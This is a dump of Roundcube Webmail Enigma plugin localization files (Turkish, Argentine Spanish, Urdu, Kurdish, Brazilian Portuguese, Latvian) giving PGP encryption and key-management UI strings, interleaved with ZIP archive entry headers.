$labels['expiresnever'] = 'asla';
$labels['unknown'] = 'bilinmeyen';
$labels['uservalid'] = 'Geçerli';
$labels['userid'] = 'Kod';
$labels['valid'] = 'geçerli';
$labels['supportencryption'] = 'İletiler şifrelensin ve imzalansın';
$labels['supportsignatures'] = 'İleti imzaları doğrulansın';
$labels['supportdecryption'] = 'İleti şifreleri çözülsün';
$labels['signdefault'] = 'Varsayılan olarak tüm iletiler imzalansın';
$labels['encryptdefault'] = 'Varsayılan olarak tüm iletiler şifrelensin';
$labels['attachpubkeydefault'] = 'Varsayılan olarak herkese açık PGP anahtarım eklensin';
$labels['passwordtime'] = 'Parolalar için kişisel anahtarları tut';
$labels['nminutes'] = '$m dakika';
$labels['wholesession'] = 'tüm oturum';
$labels['createkeys'] = 'Yeni anahtar çifti oluştur';
$labels['importkeys'] = 'Anahtar(lar)ı içe aktar';
$labels['exportkeys'] = 'Anahtar(lar)ı dışa aktar';
$labels['keyactions'] = 'Anahtar işlemleri...';
$labels['keyremove'] = 'Kaldır';
$labels['keydisable'] = 'Devre dışı';
$labels['keyrevoke'] = 'Geri al';
$labels['keysend'] = 'İletilerde herkese açık anahtar gönderilsin';
$labels['keychpass'] = 'Parolayı değiştir';
$labels['keyadd'] = 'Anahtar ekle';
$labels['newkeyident'] = 'Kimlik';
$labels['newkeypass'] = 'Parola';
$labels['newkeypassconfirm'] = 'Parola Onayı';
$labels['newkeytype'] = 'Anahtar türü';
$labels['rsa2048'] = 'RSA - 2048 bit';
$labels['rsa4096'] = 'RSA - 4096 bit';
$labels['ecckeypair'] = 'ECC (eliptik eğri)';
$labels['keygenerating'] = 'Anahtarlar oluşturuluyor...';
$labels['encryptionoptions'] = 'Şifreleme ayarları...';
$labels['encryptmsg'] = 'Bu iletiyi şifrele';
$labels['signmsg'] = 'Bu iletiyi sayısal olarak imzala';
$labels['sendunencrypted'] = 'Şifrelenmemiş olarak gönder';
$labels['enterkeypasstitle'] = 'Anahtar parolasını yazın';
$labels['enterkeypass'] = 'Gizli anahtarı ($keyid) açmak için $user kullanıcısının parolası gerekli.';
$labels['attachpubkeymsg'] = 'Herkese açık anahtarımı ekle';
$labels['keyexportprompt'] = 'OpenPGP anahtar dosyasına gizli anahtarları da  kaydetmek istiyor musunuz?';
$labels['onlypubkeys'] = 'Yalnızca herkese açık anahtarları dışa aktar';
$labels['withprivkeys'] = 'Gizli anahtarları dışa aktar';
$labels['findkey'] = 'Anahtarı sunucu(lar)da ara';
$labels['keyimportlabel'] = 'Dosyadan içe aktar';
$labels['keyimportsearchlabel'] = 'Anahtarı sunucu(lar)da ara';
$labels['managekeys'] = 'PGP anahtarları yönetimi';
$labels['identitymatchingprivkeys'] = 'Anahtarlığınızda eşleşen $nr PGP kişisel anahtarı var:';
$labels['identitynoprivkeys'] = 'Henüz bu gönderici kimliği için PGP anahtarlığınızda bir kişisel anahtar bulunmuyor.';
$labels['arialabelkeyexportoptions'] = 'Anahtar dışa aktarma ayarları';
$labels['arialabelkeysearchform'] = 'Anahtar arama formu';
$labels['arialabelkeyoptions'] = 'Anahtar seçenekleri';
$messages['sigvalid'] = '$sender imzası geçerli.';
$messages['sigvalidpartial'] = '$sender imzası doğrulandı, ancak metnin tümü imzalanmamış.';
$messages['siginvalid'] = '$sender imzası geçersiz.';
$messages['sigunverified'] = 'İmza doğrulanmamış. Sertifika doğrulanmamış. Sertifika Kodu: $keyid.';
$messages['signokey'] = 'İmza doğrulanmamış. Herkese açık anahtar bulunamadı. Anahtar kodu: $keyid.';
$messages['sigerror'] = 'Sorun var! İmza doğrulanmamış.';
$messages['decryptok'] = 'İleti şifresi çözüldü.';
$messages['decrypterror'] = 'Şifre çözülemedi.';
$messages['decryptnokey'] = 'Şifre çözülemedi. Kişisel anahtar bulunamadı. Anahtar kodu: $keyid.';
$messages['decryptnomdc'] = 'Şifre çözme işlemi atlandı. İletinin bütünlüğü korunmamış.';
$messages['decryptbadpass'] = 'Şifre çözülemedi. Parola geçersiz.';
$messages['decryptnopass'] = 'Şifre çözülemedi. Anahtar parolası gerekli.';
$messages['decryptpartial'] = 'İletinin şifresi çözüldü, fakat metnin tümü şifrelenmemiş.';
$messages['signerror'] = 'İmzalama geçersiz.';
$messages['signnokey'] = 'İmzalanamadı. Kişisel anahtar bulunamadı.';
$messages['signbadpass'] = 'İmzalanamadı. Parola geçersiz.';
$messages['signnopass'] = 'İmzalanamadı. Anahtar parolası gerekli.';
$messages['encrypterror'] = 'Şifrelenemedi.';
$messages['encryptnokey'] = 'Şifrelenemedi. Herkese açık anahtar $email içinde bulunamadı.';
$messages['encryptnoprivkey'] = 'Şifrelenemedi. Kişisel anahtar bulunamadı.';
$messages['nokeysfound'] = 'Anahtarlar bulunamadı';
$messages['keynotfound'] = 'Anahtar buunamadı!';
$messages['keyopenerror'] = 'Sorun var! Anahtar bilgileri alınamıyor.';
$messages['keylisterror'] = 'Sorun var! Anahtar listesi yok.';
$messages['keysimportfailed'] = 'Sorun var! Anahtar(lar) aktarılamıyor.';
$messages['keysimportsuccess'] = 'Anahtar(lar) içe aktarıldı. İçe Aktarılan: $new, Değişmeyen: $old.';
$messages['keyremoving'] = 'Anahtar(lar) kaldırılıyor...';
$messages['keyremoveconfirm'] = 'Seçilmiş anahtar(lar)ı silmek istediğinize emin misiniz?';
$messages['keyremovesuccess'] = 'Anahtar(lar) silindi';
$messages['keyremoveerror'] = 'Anahtar(lar) silinemedi.';
$messages['keyimporttext'] = 'Kişisel ve herkese açık anahtar(lar)ı içe aktarabilir ya da ASCII-Armor biçimindeki imzanızı geri çekebilirsiniz.';
$messages['keyimportsearchtext'] = 'Herkese açık anahtarları, anahtar tanımlayıcı, e-posta ya da kullanıcı adına göre arayarak doğrudan içe aktarabilirsiniz.';
$messages['keystoragenotice'] = 'Herkese açık ve kişisel tüm anahtarlar sunucu üzerinde depolanıyor.';
$messages['formerror'] = 'Formun doldurun. Tüm alanlar zorunludur!';
$messages['passwordsdiffer'] = 'Parola ile onayı aynı değil!';
$messages['keygenerateerror'] = 'Anahtar çifti oluşturulamadı.';
$messages['keygeneratesuccess'] = 'Anahtar çiftiniz oluşturuldu ve içe aktarıldı.';
$messages['keygennosupport'] = 'Tarayıcınız şifrelemeyi desteklemiyor. Anahtar çifti oluşturulamıyor.';
$messages['noidentselected'] = 'Anahtar için en az bir kimlik seçmelisiniz!';
$messages['nonameident'] = 'Kimlik için bir kullanıcı adı belirtmelisiniz!';
$labels['newkeysize'] = 'Anahtar boyutu';
$labels['key2048'] = '2048 bit - varsayılan';
$labels['key4096'] = '4096 bit - daha güvenli';
PKh�\�UE E %plugins/enigma/localization/es_AR.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Encriptación';
$labels['enigmacerts'] = 'Certificados S/MIME';
$labels['enigmakeys'] = 'Claves PGP';
$labels['keysfromto'] = 'Claves $from a $to de $count';
$labels['keyname'] = 'Nombre';
$labels['keyid'] = 'ID de clave';
$labels['keyuserid'] = 'ID de usuario';
$labels['keytype'] = 'Tipo de clave';
$labels['fingerprint'] = 'Huella';
$labels['subkeys'] = 'Subclave';
$labels['keyprops'] = 'Propiedades de la clave';
$labels['basicinfo'] = 'Información básica';
$labels['userids'] = 'Usuarios adicionales';
$labels['typepublickey'] = 'clave pública';
$labels['typekeypair'] = 'par de claves';
$labels['keyattfound'] = 'Este mensaje contiene clave(s) PGP adjunta(s)';
$labels['keyattimport'] = 'Importar clave(s)';
$labels['typesign'] = 'Firmar';
$labels['typeencrypt'] = 'Encriptar';
$labels['typecert'] = 'Certificar';
$labels['typeauth'] = 'Autenticación';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritmo';
$labels['subkeycreated'] = 'Creado';
$labels['subkeyexpires'] = 'Expira';
$labels['subkeyusage'] = 'Uso';
$labels['expiresnever'] = 'nunca';
$labels['unknown'] = 'desconocido';
$labels['uservalid'] = 'Válido';
$labels['userid'] = 'ID';
$labels['valid'] = 'válido';
$labels['supportencryption'] = 'Habilita encriptación y firma de mensajes';
$labels['supportsignatures'] = 'Habilitar la verificación de firmas de mensaje';
$labels['supportdecryption'] = 'Habilitar descifrado de mensaje';
$labels['signdefault'] = 'Firmar todos los mensajes por defecto';
$labels['encryptdefault'] = 'Cifrar todos los mensajes por defecto';
$labels['attachpubkeydefault'] = 'Adjuntar mi clave PGP pública por defecto';
$labels['passwordtime'] = 'Guardar las contraseñas de clave privada durante';
$labels['nminutes'] = '$m minuto(s)';
$labels['wholesession'] = 'toda la sesión';
$labels['createkeys'] = 'Crear un nuevo par de claves';
$labels['importkeys'] = 'Importar clave(s)';
$labels['exportkeys'] = 'Exportar clave(s)';
$labels['keyactions'] = 'Acciones sobre la clave...';
$labels['keyremove'] = 'Eliminar';
$labels['keydisable'] = 'Deshabilitar';
$labels['keyrevoke'] = 'Revocar';
$labels['keysend'] = 'Enviar clave pública en un mensaje';
$labels['keychpass'] = 'Cambiar contraseña';
$labels['keyadd'] = 'Agregar clave';
$labels['newkeyident'] = 'Identidad';
$labels['newkeypass'] = 'Contraseña';
$labels['newkeypassconfirm'] = 'Confirmar contraseña';
$labels['newkeytype'] = 'Tipo de clave';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Curva elíptica)';
$labels['keygenerating'] = 'Generando claves...';
$labels['encryptionoptions'] = 'Opciones de cifrado...';
$labels['encryptmsg'] = 'Cifrar este mensaje';
$labels['signmsg'] = 'Firmar digitalmente este mensaje';
$labels['sendunencrypted'] = 'Enviar sin cifrar';
$labels['enterkeypasstitle'] = 'Escriba la frase de contraseña';
$labels['enterkeypass'] = 'Se necesita una contraseña para desbloquear la clave secreta ($keyid) para el usuario: $user.';
$labels['attachpubkeymsg'] = 'Adjuntar mi clave pública';
$labels['keyexportprompt'] = '¿Desea incluir claves secretas en el archivo guardado de claves OpenPGP?';
$labels['onlypubkeys'] = 'Exportar Sólo las Claves Públicas';
$labels['withprivkeys'] = 'Exportar las Claves Secretas';
$labels['findkey'] = 'Buscar en servidor(es) de claves';
$labels['keyimportlabel'] = 'Importar desde archivo';
$labels['keyimportsearchlabel'] = 'Buscar en servidor(es) de claves';
$labels['managekeys'] = 'Gestionar claves PGP';
$labels['identitymatchingprivkeys'] = 'Tiene $nr claves privadas PGP coincidentes en el anillo de claves:';
$labels['identitynoprivkeys'] = 'Esta identidad remitente no tiene aún una clave privada almacenada en el anillo de claves.';
$labels['arialabelkeyexportoptions'] = 'Opciones de claves de exportación';
$labels['arialabelkeysearchform'] = 'Formulario de búsqueda de claves';
$labels['arialabelkeyoptions'] = 'Opciones de clave';
$messages['sigvalid'] = 'Firma verificada de $sender.';
$messages['sigvalidpartial'] = 'Firma verificada de $sender, pero parte parte del cuerpo no estaba firmado.';
$messages['siginvalid'] = 'Firma inválida de $sender.';
$messages['sigunverified'] = 'Firma no verificada. Certificado no verificado. ID del Certificado: $keyid.';
$messages['signokey'] = 'Firma no verificada. Clave pública no encontrada. ID de Clave: $keyid.';
$messages['sigerror'] = 'Firma no verificada. Error interno.';
$messages['decryptok'] = 'Mensaje descifrado.';
$messages['decrypterror'] = 'Descifrado fallido.';
$messages['decryptnokey'] = 'Descifrado fallido. Clave privada no encontrada. ID de Clave: $keyid.';
$messages['decryptnomdc'] = 'Se ha saltado el descifrado. La integridad del mensaje no está protegida.';
$messages['decryptbadpass'] = 'Descifrado fallido. Contraseña no válida.';
$messages['decryptnopass'] = 'Descifrado fallido. Contraseña requerida.';
$messages['decryptpartial'] = 'Mensaje descifrado, pero parte del cuerpo no estaba cifrado.';
$messages['signerror'] = 'Falló la firma.';
$messages['signnokey'] = 'Falló la firma. Clave privada no encontrada.';
$messages['signbadpass'] = 'Falló la firma. Contraseña no válida.';
$messages['signnopass'] = 'Falló la firma. Contraseña requerida.';
$messages['encrypterror'] = 'Cifrado fallido.';
$messages['encryptnokey'] = 'Cifrado fallido. Clave pública no encontrada para $email.';
$messages['encryptnoprivkey'] = 'Cifrado fallido. No se encontró la clave privada.';
$messages['nokeysfound'] = 'No se encontraron claves';
$messages['keynotfound'] = '¡Clave no encontrada!';
$messages['keyopenerror'] = '¡No se puede obtener la información de clave! Error interno.';
$messages['keylisterror'] = '¡No es posible enumerar las claves! Error interno.';
$messages['keysimportfailed'] = '¡No se puede(n) importar la(s) clave(s)! Error interno.';
$messages['keysimportsuccess'] = 'Clave(s) importada(s) correctamente. Importado: $new, sin cambios: $old.';
$messages['keyremoving'] = 'Eliminando clave(s)...';
$messages['keyremoveconfirm'] = '¿Seguro que quiere eliminar la(s) clave(s) seleccionada(s)?';
$messages['keyremovesuccess'] = 'Clave(s) eliminada(s) correctamente.';
$messages['keyremoveerror'] = 'No se han podido borrar las clave(s) seleccionadas.';
$messages['keyimporttext'] = 'Puede importar la(s) clave(s) privada(s) y pública(s) o firmas de revocación en formato ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Puede buscar claves por identificador de clave, nombre de usuario o dirección de email y después importarlas directamente.';
$messages['keystoragenotice'] = 'Todas las claves públicas y privadas son guardadas en el servidor.';
$messages['formerror'] = 'Por favor rellene el formulario. ¡Todos los campos son obligatorios!';
$messages['passwordsdiffer'] = '¡Las contraseñas no coinciden!';
$messages['keygenerateerror'] = 'No se ha podido generar un par de claves';
$messages['keygeneratesuccess'] = 'Un par de claves generadas e importadas correctamente.';
$messages['keygennosupport'] = 'Su navegador web no soporta criptografía. ¡No se puede generar un par de claves!';
$messages['noidentselected'] = '¡Tiene que seleccionar al menos una identidad para la clave!';
$messages['nonameident'] = '¡La identidad debe de tener un nombre de usuario definido!';
$labels['newkeysize'] = 'Tamaño de clave';
$labels['key2048'] = '2048 bits - por defecto';
$labels['key4096'] = '4096 bits - más seguro';
PKh�\��66%plugins/enigma/localization/ur_PK.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/


$labels['newkeypass'] = 'پاسورڈ';
PKh�\ٮ[��"plugins/enigma/localization/ku.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Nav';
$labels['subkeycreated'] = 'Hat afirandin';
$labels['expiresnever'] = 'qet';
$labels['unknown'] = 'nenas';
$labels['keychpass'] = 'Şîfreyê biguherîne';
$labels['newkeypass'] = 'Nasnav';
PKh�\Ș�Qf f %plugins/enigma/localization/pt_BR.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Criptografação';
$labels['enigmacerts'] = 'Certificados S/MIME';
$labels['enigmakeys'] = 'Chaves PGP';
$labels['keysfromto'] = ' $count chaves de $from para $to';
$labels['keyname'] = 'Nome';
$labels['keyid'] = 'ID da chave';
$labels['keyuserid'] = 'ID do usuário';
$labels['keytype'] = 'Tipo de chave';
$labels['fingerprint'] = 'Autenticação digital';
$labels['subkeys'] = 'Subchaves';
$labels['keyprops'] = 'Propriedades-chave';
$labels['basicinfo'] = 'Informação básica';
$labels['userids'] = 'Usuários adicionais';
$labels['typepublickey'] = 'chave pública';
$labels['typekeypair'] = 'par de chave';
$labels['keyattfound'] = 'Essa mensagem contém chave(s) PGP em anexo.';
$labels['keyattimport'] = 'Importa chave(s)';
$labels['typesign'] = 'Assinatura';
$labels['typeencrypt'] = 'Criptografar';
$labels['typecert'] = 'Certificado';
$labels['typeauth'] = 'Autenticação';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritimo';
$labels['subkeycreated'] = 'Criado';
$labels['subkeyexpires'] = 'Expira';
$labels['subkeyusage'] = 'Uso';
$labels['expiresnever'] = 'nunca';
$labels['unknown'] = 'desconhecido';
$labels['uservalid'] = 'Válido';
$labels['userid'] = 'ID';
$labels['valid'] = 'válido';
$labels['supportencryption'] = 'Habilitar mensagens criptografadas e assinaturas';
$labels['supportsignatures'] = 'Habilitar verificação de mensagens assinadas';
$labels['supportdecryption'] = 'habilita descriptografia de mensagens';
$labels['signdefault'] = 'Assinar todas as mensagens por padrão';
$labels['encryptdefault'] = 'Criptografar todas as mensagens por padrão';
$labels['attachpubkeydefault'] = 'Anexar minha chave PGP pública';
$labels['passwordtime'] = 'Mantenha senhas de chave privada para';
$labels['nminutes'] = '$m minuto(s)';
$labels['wholesession'] = 'toda a sessão';
$labels['createkeys'] = 'Criar novo par de chaves';
$labels['importkeys'] = 'importar chave(s)';
$labels['exportkeys'] = 'Exportar chave(s)';
$labels['keyactions'] = 'Principais ações ...';
$labels['keyremove'] = 'Remover';
$labels['keydisable'] = 'Desabilitar';
$labels['keyrevoke'] = 'Revogar';
$labels['keysend'] = 'Mandar chave pública em uma mensagem';
$labels['keychpass'] = 'Trocar senha';
$labels['keyadd'] = 'Adicionar chave';
$labels['newkeyident'] = 'identificação';
$labels['newkeypass'] = 'Senha';
$labels['newkeypassconfirm'] = 'Confirme a senha';
$labels['newkeytype'] = 'Tipo de chave';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Curva Elíptica)';
$labels['keygenerating'] = 'Gerando chaves...';
$labels['encryptionoptions'] = 'Opções de criptografia...';
$labels['encryptmsg'] = 'Criptografar essa mensagem';
$labels['signmsg'] = 'Assinar digitalmente essa mensagem';
$labels['sendunencrypted'] = 'Enviar não criptografado';
$labels['enterkeypasstitle'] = 'Digite a frase secreta da chave';
$labels['enterkeypass'] = 'Uma frase secreta é necessária para desbloquear a chave ($keyid) para o usuário: $user.';
$labels['attachpubkeymsg'] = 'Anexar minha chave pública';
$labels['keyexportprompt'] = 'Deseja incluir chaves secretas no arquivo de chaves OpenPGP salva?';
$labels['onlypubkeys'] = 'Exportar somente Chaves Públicas';
$labels['withprivkeys'] = 'Exportar Chaves Secretas';
$labels['findkey'] = 'Procurar no(s) servidor(es) de chaves';
$labels['keyimportlabel'] = 'Importar do arquivo';
$labels['keyimportsearchlabel'] = 'Procurar no(s) servidor(es) de chaves';
$labels['managekeys'] = 'Gerenciar chaves PGP';
$labels['identitymatchingprivkeys'] = 'Você tem $nr chaves PGP guardadas no chaveiro correspondente:';
$labels['identitynoprivkeys'] = 'A identidade deste emissor ainda não tem uma chave privada PGP armazenada em sua keyring.';
$labels['arialabelkeyexportoptions'] = 'Opções de exportação das chaves';
$labels['arialabelkeysearchform'] = 'Formulário de pesquisa de chaves';
$labels['arialabelkeyoptions'] = 'Opções da chave';
$messages['sigvalid'] = 'Verificar assinatura de $sender.';
$messages['sigvalidpartial'] = 'Verificar assinatura de $sender, mas parte do corpo não foi assinada.';
$messages['siginvalid'] = 'Assinatura inválida de $sender.';
$messages['sigunverified'] = 'Assinatura não verificada. Certificado não verificado. Certificado de ID: $keyid.';
$messages['signokey'] = 'Assinatura não verificada. Chave pública não encontrada. Chave de ID: $keyid.';
$messages['sigerror'] = 'Assinatura não verificada. Erro interno.';
$messages['decryptok'] = 'Mensagem descriptografada';
$messages['decrypterror'] = 'Falha ao descriptografar.';
$messages['decryptnokey'] = 'Falha ao descriptografar. Chave privada não encontrada. Chave de ID: $keyid.';
$messages['decryptnomdc'] = 'Descriptografia pulada. A integridade da mensagem não está protegida.';
$messages['decryptbadpass'] = 'Descriptografia falhou. Senha inválida.';
$messages['decryptnopass'] = 'Falha ao descriptografar. Senha chave requerida.';
$messages['decryptpartial'] = 'Mensagem descriptografada, mas parte do corpo não foi encriptado.';
$messages['signerror'] = 'Assinatura falhou.';
$messages['signnokey'] = 'Assinatura falhou. Chave privada não encontrada.';
$messages['signbadpass'] = 'Login falhou. Senha inválida.';
$messages['signnopass'] = 'Assinatura falhou. Senha chave requerida.';
$messages['encrypterror'] = 'Falha ao criptografar.';
$messages['encryptnokey'] = 'Falha ao criptografar. Chave pública não encontrada para $email.';
$messages['encryptnoprivkey'] = 'Falha ao criptografar. Chave privada não encontrada.';
$messages['nokeysfound'] = 'Nenhuma chave encontrada';
$messages['keynotfound'] = 'Chave não encontrada!';
$messages['keyopenerror'] = 'Não é possível obter informações da chave! Erro interno.';
$messages['keylisterror'] = 'Não é possível listar as chaves! Erro interno.';
$messages['keysimportfailed'] = 'Não é possível importar chave(s)! Erro interno.';
$messages['keysimportsuccess'] = 'Chave(s) importada(s) com sucesso. Importado: $new, mantido: $old.';
$messages['keyremoving'] = 'Removendo chave(s)...';
$messages['keyremoveconfirm'] = 'Tem a certeza, de que deseja excluir a seleção de chave(s)?';
$messages['keyremovesuccess'] = 'Chave(s) deletada com sucvesso';
$messages['keyremoveerror'] = 'Não é possível excluir a seleção de chave(s).';
$messages['keyimporttext'] = 'Você pode importar chaves privadas e publicas ou assinaturas de revogação em formato ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Você pode procurar por chaves públicas pelo identificador de chaves, nome do usuário ou e-mail, e então importá-las diretamente.';
$messages['keystoragenotice'] = 'Todas as chaves públicas e privadas são armazenadas no servidor.';
$messages['formerror'] = 'Por favor, preencha o formulário. Todos os campos são necessários!';
$messages['passwordsdiffer'] = 'Senhas não conferem!';
$messages['keygenerateerror'] = 'Falha ao gerar um par de chaves';
$messages['keygeneratesuccess'] = 'Um par de chaves foi gerado e importado com sucesso.';
$messages['keygennosupport'] = 'Seu navegador não suporta criptografia. Não é possível gerar um par de chaves!';
$messages['noidentselected'] = 'Você tem que selecionar ao menos uma identidade para a chave!';
$messages['nonameident'] = 'A identificação deve ter um nome de usuário definido!';
$labels['newkeysize'] = 'Tamanho da chave';
$labels['key2048'] = '2048 bits - padrão';
$labels['key4096'] = '4096 bits - maise seguro';
PKh�\Agvf��%plugins/enigma/localization/lv_LV.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Šifrēšana';
$labels['enigmacerts'] = 'S/MIME sertifikāti';
$labels['enigmakeys'] = 'PGP atslēgas';
$labels['keysfromto'] = 'Atslēgas $from līdz $to no $count';
$labels['keyname'] = 'Vārds';
$labels['keyid'] = 'Atslēgas ID';
$labels['keyuserid'] = 'Lietotāja ID';
$labels['keytype'] = 'Atslēgas tips';
$labels['fingerprint'] = 'Pirksta nospiedums';
$labels['subkeys'] = 'Apakšatslēgas';
$labels['keyprops'] = 'Atslēgas īpašības';
$labels['basicinfo'] = 'Pamatinformācija';
$labels['userids'] = 'Papildus lietotāji';
$labels['typepublickey'] = 'publiskā atslēga';
$labels['typekeypair'] = 'atslēgu pāris';
$labels['keyattfound'] = 'Šis e-pasts satur pievienotu PGP atslēgu(as);';
$labels['keyattimport'] = 'Importēt atslēgu(as).';
$labels['typesign'] = 'Paraksts';
$labels['typeencrypt'] = 'Šifrēt';
$labels['typecert'] = 'Sertifikāts';
$labels['typeauth'] = 'Autentifikācija';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritms';
$labels['subkeycreated'] = 'Izveidots';
$labels['subkeyexpires'] = 'Termiņš';
$labels['subkeyusage'] = 'Pielietojums';
$labels['expiresnever'] = 'nekad';
$labels['unknown'] = 'neiznāms';
$labels['uservalid'] = 'Derīgs';
$labels['userid'] = 'ID';
$labels['valid'] = 'derīgs';
$labels['supportencryption'] = 'Ieslēgt e-pastu šifrēšanu un parakstīšanu';
$labels['supportsignatures'] = 'Ieslēgt e-pastu parakstu pārbaudi';
$labels['supportdecryption'] = 'Ieslēgt e-pastu atšifrēšanu';
$labels['signdefault'] = 'Pēc noklusējuma parakstīt visus e-pastus';
$labels['encryptdefault'] = 'Pēc noklusējuma šifrēt visas vēstules';
$labels['attachpubkeydefault'] = 'Pēc noklusējuma pievienot manu publisko PGP atslēgu';
$labels['passwordtime'] = 'Saglabāt privāto atslēgu paroles';
$labels['nminutes'] = '$m minūte(s)';
$labels['wholesession'] = 'visai sessijai';
$labels['createkeys'] = 'Izveidot jaunu atslēgu pāri';
$labels['importkeys'] = 'Importēt atslēgu(as).';
$labels['exportkeys'] = 'Eksportēt atslēgu(as)';
$labels['keyactions'] = 'Darbības ar atslēgu ...';
$labels['keyremove'] = 'Dzēst';
$labels['keydisable'] = 'Atspējot';
$labels['keyrevoke'] = 'Atsaukt';
$labels['keysend'] = 'Ar e-pastu sūtīt arī publisko atslēgu';
$labels['keychpass'] = 'Mainīt paroli';
$labels['newkeyident'] = 'Identitāte';
$labels['newkeypass'] = 'Parole';
$labels['newkeypassconfirm'] = 'Apstiprināt paroli';
$labels['newkeytype'] = 'Atslēgas tips';
$labels['keygenerating'] = 'Ģenerē atslēgas...';
$labels['encryptionoptions'] = 'Šifrēšanas iestatījumi...';
$labels['encryptmsg'] = 'Šifrēt šo e-pastu';
$labels['signmsg'] = 'Digitāli parakstīt šo e-pastu';
$labels['sendunencrypted'] = 'Sūtīt nešifrētu';
$labels['enterkeypasstitle'] = 'Ievadiet atslēgas paroli';
$labels['enterkeypass'] = 'Lai atbloķētu lietotāja $user šifrēto atslēgu ($keyid), ir nepieciešama parole.';
$labels['attachpubkeymsg'] = 'Pievienot manu publisko atslēgu';
$labels['keyexportprompt'] = 'Vai iekļaut slepenās atslēgas saglabātajos openPGP atslēgu failos?';
$labels['onlypubkeys'] = 'Eksportēt tikai publiskās atslēgas';
$labels['withprivkeys'] = 'Eksportēt slepenās atslēgas';
$labels['findkey'] = 'Meklēt atslēgu serveros.';
$labels['keyimportlabel'] = 'Importēt no faila';
$labels['keyimportsearchlabel'] = 'Meklēt atslēgu serveros.';
$labels['arialabelkeyexportoptions'] = 'Atslēgu eksportēšanas iestatījumi';
$messages['sigvalid'] = 'Pārbaudīts $sender paraksts.';
$messages['sigvalidpartial'] = 'Pārbaudīts $sender paraksts, bet daļa no e-pasta nav parakstīta.';
$messages['siginvalid'] = 'Nederīgs paraksts no $sender.';
$messages['sigunverified'] = 'Nepārbaudīts paraksts. Sertifikāts nav pārbaudīts. Sertifikāta ID: $keyid.';
$messages['signokey'] = 'Nepārbaudīts paraksts. Publiskā atslēga nav atrasta. Atslēgas ID: $keyid.';
$messages['sigerror'] = 'Nepārbaudīts paraksts. Iekšējā kļūda.';
$messages['decryptok'] = 'E-pasts atšifrēts.';
$messages['decrypterror'] = 'Atšifrēšana neizdevās.';
$messages['decryptnokey'] = 'Atšifrēšana neizdevās. Privātā atslēga netika atrasta. Atslēgas ID: $keyid.';
$messages['decryptbadpass'] = 'Atšifrēšana neizdevās. Nepareiza parole.';
$messages['decryptnopass'] = 'Atšifrēšana neizdevās. Nepieciešama atslēgas parole.';
$messages['decryptpartial'] = 'E-pasts ir atšifrēts, bet daļa no tā nemaz nebija šifrēta.';
$messages['signerror'] = 'Sūtīšana neizdevās.';
$messages['signnokey'] = 'Nosūtīt neizdevās. Nav atrasta privātā atslēga.';
$messages['signbadpass'] = 'Parakstīšana neizdevās. Nepareiza parole.';
$messages['signnopass'] = 'Nosūtīt neizdevās. Ir nepieciešama atslēgas parole.';
$messages['encrypterror'] = 'Šifrēšana neizdevās.';
$messages['encryptnokey'] = 'Šifrēšana neizdevās. Epastam $email netika atrasta publiskā atslēga.';
$messages['nokeysfound'] = 'Nav atrasta neviena atslēga';
$messages['keynotfound'] = 'Atslēga netika atrasta!';
$messages['keyopenerror'] = 'Nav iespējams iegūt atslēgas informāciju! Iekšējā kļūda.';
$messages['keylisterror'] = 'Nav iespējams parādīt atslēgu sarakstu! Iekšējā kļūda.';
$messages['keysimportfailed'] = 'Nav iespējams ieimportēt atslēgu(s)! Iekšējā kļūda.';
$messages['keysimportsuccess'] = 'Atslēgas ieimportētas veiksmīgi. Ieimportēts: $new, nemainīts: $old.';
$messages['keyremoving'] = 'Dzēš atslēgu(as)...';
$messages['keyremoveconfirm'] = 'Vai Jūs esat pārliecināti ka gribat dzēst atzīmētās astlēgas?';
$messages['keyremovesuccess'] = 'Atslēga(s) nodzēsta veiksmīgi.';
$messages['keyremoveerror'] = 'Atzīmēto atslēgu(as) neizdevās nodzēst.';
